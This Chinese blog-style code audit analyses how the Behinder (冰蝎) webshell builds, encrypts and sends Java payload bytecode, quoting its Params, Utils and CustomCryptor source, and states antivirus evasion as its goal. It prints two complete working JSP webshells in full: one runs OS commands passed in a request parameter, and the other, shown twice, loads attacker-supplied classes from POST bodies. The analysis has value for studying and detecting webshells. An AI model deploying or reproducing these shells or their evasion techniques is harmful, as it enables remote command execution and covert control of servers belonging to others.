冰蝎源码(Behinder)分析---代码审计
Behinder代码审计
Behinder(冰蝎)如何发送java字节码----代码审计
在研究java的免杀中,想看一下冰蝎如何发送java的字节码。此代码审计只做网络安全研究,不负任何法律责任。java木马介绍
jsp木马不同于常规的asp,php马,一般像冰蝎,哥斯拉会采用发送java字节码(字节码中藏有恶意函数),而像这样类似于
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine())!=null){
response.getWriter().print(line);
}
%>[^常见jsp马]:
有明显的Runtime,Process类还有exec这些方法,会直接被静态杀软干掉。
主流是加载字节码的jsp马,尽管还是会被杀掉(需要实现免杀),但大多数还是使用加载字节码的方式去免杀。
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
return data;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容性
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>[^主流jsp马]:
冰蝎字节码发送
以冰蝎为标准,来研究恶意字节码是如何发送具有参考意义
连接的冰蝎,主要有基本信息,命令执行,文件管理,内网穿透等等命令。这些命令的字节码来源于冰蝎源码如下
在payload/java的目录下面,下面会分析冰蝎如何将这些已经运行的class文件发送给受害客户端。
[^冰蝎执行的payload类型]:
以执行cmd命令测试
[^断点截取图,命令执行的payload]:
这里图中的断点描写了执行dir(列出文件目录)的命令,包含了冰蝎的传输协议(字节码的加密解密函数)
在断点中看见encode和decode即为传输加密解密协议,那么这些字符串是怎么动态组装成函数的呢?这里介绍一个java的开源库。
javassist
核心功能
- 动态生成类:可以在运行时创建新的Java类。
- 修改现有类:可以修改已编译类的结构,例如添加或修改字段、方法。
- 代码注入:可以在方法调用前后注入代码,例如添加日志记录。
- 动态代理:用于实现AOP(面向切面编程),例如在方法调用前后添加额外逻辑。
- 字节码分析:可以提取类的结构信息,如类名、字段、方法等。
核心组件
- ClassPool:管理CtClass对象的容器,用于查找和修改类。
- CtClass:表示一个Java类,用于操作类的结构。
- CtMethod和CtField:分别表示类中的方法和字段。以下是javassist的简单小用法
import javassist.*;
public class JavassistExample {
public static void main(String[] args) throws Exception {
// 创建类池
ClassPool cp = ClassPool.getDefault();
// 创建新类
CtClass cc = cp.makeClass("com.example.MyClass");
// 添加方法
CtMethod m = CtNewMethod.make("public void sayHello() { System.out.println(\"Hello, world!\"); }", cc);
cc.addMethod(m);
// 加载类并创建实例
Class<?> clazz = cc.toClass();
Object obj = clazz.newInstance();
clazz.getMethod("sayHello").invoke(obj);
}
}
这段代码就动态创建了一个类和方法,使用Class加载类先实例化,采用invoke方法调用了sayHello函数。
冰蝎字节码组装
先看源代码Params.java中的组装流程
public static byte[] getParamedClass(String className, Map<String, String> params, TransProtocol transProtocol) throws Exception {
// 获取经过协议处理的类字节码
byte[] classBytes = processTransProtocol(className, transProtocol);
// 处理参数注入和类名替换
return processClassParams(className, classBytes, params);
}
/**
* 处理传输协议相关的类修改
*/
private static byte[] processTransProtocol(String className, TransProtocol transProtocol) throws Exception {
String transProtocolName = transProtocol.getName();
Map<String, Map<String, CtClass>> protocolCache;
String cacheKey;
// 确定使用哪个缓存
if (transProtocol.getId() < 0) {
protocolCache = (Map<String, Map<String, CtClass>>) legacyPayloadClassCache;
cacheKey = ((LegacyCryptor) transProtocol.getCryptor()).getKey();
} else {
protocolCache = (Map<String, Map<String, CtClass>>) payloadClassCache;
cacheKey = className;
}
// 检查缓存
if (protocolCache.containsKey(transProtocolName) &&
protocolCache.get(transProtocolName).containsKey(cacheKey) &&
protocolCache.get(transProtocolName).get(cacheKey).containsKey(className)) {
return protocolCache.get(transProtocolName).get(cacheKey).get(className).toBytecode();
}
// 缓存未命中,创建新的类
ClassPool cp = ClassPool.getDefault();
CtClass pocClass = cp.getAndRename(String.format("net.rebeyond.behinder.payload.java.%s", className),
Utils.getRandomString(10));
// 修改类方法
CtMethod encodeMethod = CtNewMethod.make(transProtocol.getEncode(), pocClass);
pocClass.removeMethod(pocClass.getDeclaredMethod("Encrypt"));
pocClass.addMethod(encodeMethod);
pocClass.setName(className);
byte[] classBytes = pocClass.toBytecode();
pocClass.detach();
// 更新缓存
Map<String, CtClass> payloadClassMap = new HashMap<>();
payloadClassMap.put(className, pocClass);
if (!protocolCache.containsKey(transProtocolName)) {
protocolCache.put(transProtocolName, new HashMap<>());
}
protocolCache.get(transProtocolName).put(cacheKey, payloadClassMap);
return classBytes;
}
/**
* 处理类参数注入和类名替换
*/
private static byte[] processClassParams(String className, byte[] classBytes, Map<String, String> params) throws Exception {
String opcodeClassName = String.format("net/rebeyond/behinder/payload/java/%s", className);
String newClassName = Utils.getRandomClassName(opcodeClassName);
ClassReader classReader = new ClassReader(classBytes);
ClassWriter cw = new ClassWriter(1);
classReader.accept(new ClassAdapter(cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
if (name.equals("<init>")) {
MethodVisitor mv = this.cv.visitMethod(access, name, desc, signature, exceptions);
int blockSize = '\ufffa';
// 处理所有参数
for (String paramName : params.keySet()) {
String paramValue = params.get(paramName);
String[] values = paramValue.length() > blockSize
? Utils.splitString(paramValue, blockSize)
: new String[]{paramValue};
Params.setJavaParam(className, mv, paramName, values);
}
mv.visitEnd();
return mv;
}
return super.visitMethod(access, name, desc, signature, exceptions);
}
}, 0);
byte[] result = cw.toByteArray();
// 类名替换逻辑
String targetClassName = className.equals("LoadNativeLibrary") ? opcodeClassName : newClassName;
String sourceClassName = className.equals("LoadNativeLibrary") ? className : opcodeClassName;
// 替换类名引用
result = Utils.replaceBytes(result,
Utils.mergeBytes(new byte[]{(byte) (sourceClassName.length() + 2), 76}, sourceClassName.getBytes()),
Utils.mergeBytes(new byte[]{(byte) (targetClassName.length() + 2), 76}, targetClassName.getBytes()));
result = Utils.replaceBytes(result,
Utils.mergeBytes(new byte[]{(byte) sourceClassName.length()}, sourceClassName.getBytes()),
Utils.mergeBytes(new byte[]{(byte) targetClassName.length()}, targetClassName.getBytes()));
// 设置类版本为Java 8
result[7] = 50;
return result;
}[^Params.java代码块]:
这段代码是 Java 字节码操作工具类的核心方法,通过组合传输协议和参数注入来动态生成类。它使用 Javassist/CtClass 和 ASM 框架修改字节码,支持加密协议处理和参数分块注入,生成随机类名混淆,缓存机制优化重复操作,最终返回处理后的类字节码用于动态加载执行。函数的返回结果是一个通过javassist动态修改的类(Cmd.java+加密函数),直接返回byte类型可以直接加载修改的类。虽然原始的Cmd.java中没有加密函数,但通过如上操作,就获得了一个有加密函数的Cmd实体类。
数据传输流程
public static byte[] getData(ICrypt cryptor, String className, Map params, String scriptType, byte[] extraData) throws Exception {
byte[] bincls;
byte[] encrypedBincls;
if (scriptType.equals("jsp")) {
bincls = Params.getParamedClass(className, params, cryptor.getTransProtocol(scriptType));
if (extraData != null) {
bincls = CipherUtils.mergeByteArray(bincls, extraData);
}
encrypedBincls = cryptor.encrypt(bincls);
return encrypedBincls;
} [^Utils.java代码块]:
这段代码就是捕获的断点,其中jsp的payload就是通过Params类生产的字节(byte类型)
下面看一下冰蝎是如何使用组装过的字节类的加密,解密函数,其实也是采用classloader方式,使用invoke方法动态调用,同原始的冰蝎马一样。
public Class getEncodeCls() throws Exception {
if (this.encodeCls == null) {
byte[] payload = Utils.getClassFromSourceCode(this.paddingCode(this.localTransProtocol.getEncode()));
this.encodeCls = (new CustomCryptor()).define(payload);
}
return this.encodeCls;
}
public Class getDecodeCls() throws Exception {
if (this.decodeCls == null) {
byte[] payload = Utils.getClassFromSourceCode(this.paddingCode(this.localTransProtocol.getDecode()));
this.decodeCls = (new CustomCryptor()).define(payload);
}
return this.decodeCls;
}
public byte[] encrypt(byte[] clearContent) throws Exception {
Class encodeCls = this.getEncodeCls();
Method encodeMethod = encodeCls.getDeclaredMethod("Encrypt", byte[].class);
encodeMethod.setAccessible(true);
byte[] result = (byte[])encodeMethod.invoke(encodeCls.newInstance(), clearContent);
return result;
}
public byte[] decrypt(byte[] decryptContent) throws Exception {
Class decodeCls = this.getDecodeCls();
Method decodeMethod = decodeCls.getDeclaredMethod("Decrypt", byte[].class);
decodeMethod.setAccessible(true);
byte[] result = (byte[])decodeMethod.invoke(decodeCls.newInstance(), decryptContent);
return result;
}[^CustomCryptor.java(实现Icrypt的接口)]:
这个时候我们查看一个冰蝎的webshell,原始的冰蝎也是使用classloader方式加载字节类
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
return data;
}
%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
out.clear();
out=pageContext.pushBody();
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader())
.g(Decrypt(bos.toByteArray()))
.newInstance()
.equals(pageContext);}
%>其中解密函数的编写要和传输协议上面的一样,将字节码通过post传参传送给jsp,冰蝎就成功发送了java字节码。
总结
冰蝎通过java的javassist库动态修改class,动态添加方法或者变量,然后将这些动态创建的方法与原始payload的class组装发送给jsp。